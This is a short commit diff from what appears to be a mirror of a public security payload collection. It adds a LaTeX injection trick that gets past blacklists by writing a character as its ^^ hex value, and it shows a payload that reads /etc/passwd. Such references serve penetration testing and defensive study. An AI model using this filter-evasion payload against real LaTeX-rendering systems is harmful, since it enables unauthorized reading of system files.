mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-12-22 23:26:15 -08:00
latex injection add blacklist bypass
This commit is contained in:
@@ -53,6 +53,14 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
|
|||||||
\input{path_to_script.pl}
|
\input{path_to_script.pl}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
To bypass a blacklist try to replace one character with it's unicode hex value.
|
||||||
|
- ^^41 represents a capital A
|
||||||
|
- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
|
||||||
|
|
||||||
|
```tex
|
||||||
|
\lstin^^70utlisting{/etc/passwd}
|
||||||
|
```
|
||||||
|
|
||||||
## Write file
|
## Write file
|
||||||
|
|
||||||
Write single lined file:
|
Write single lined file:
|
||||||
|
|||||||
Reference in New Issue
Block a user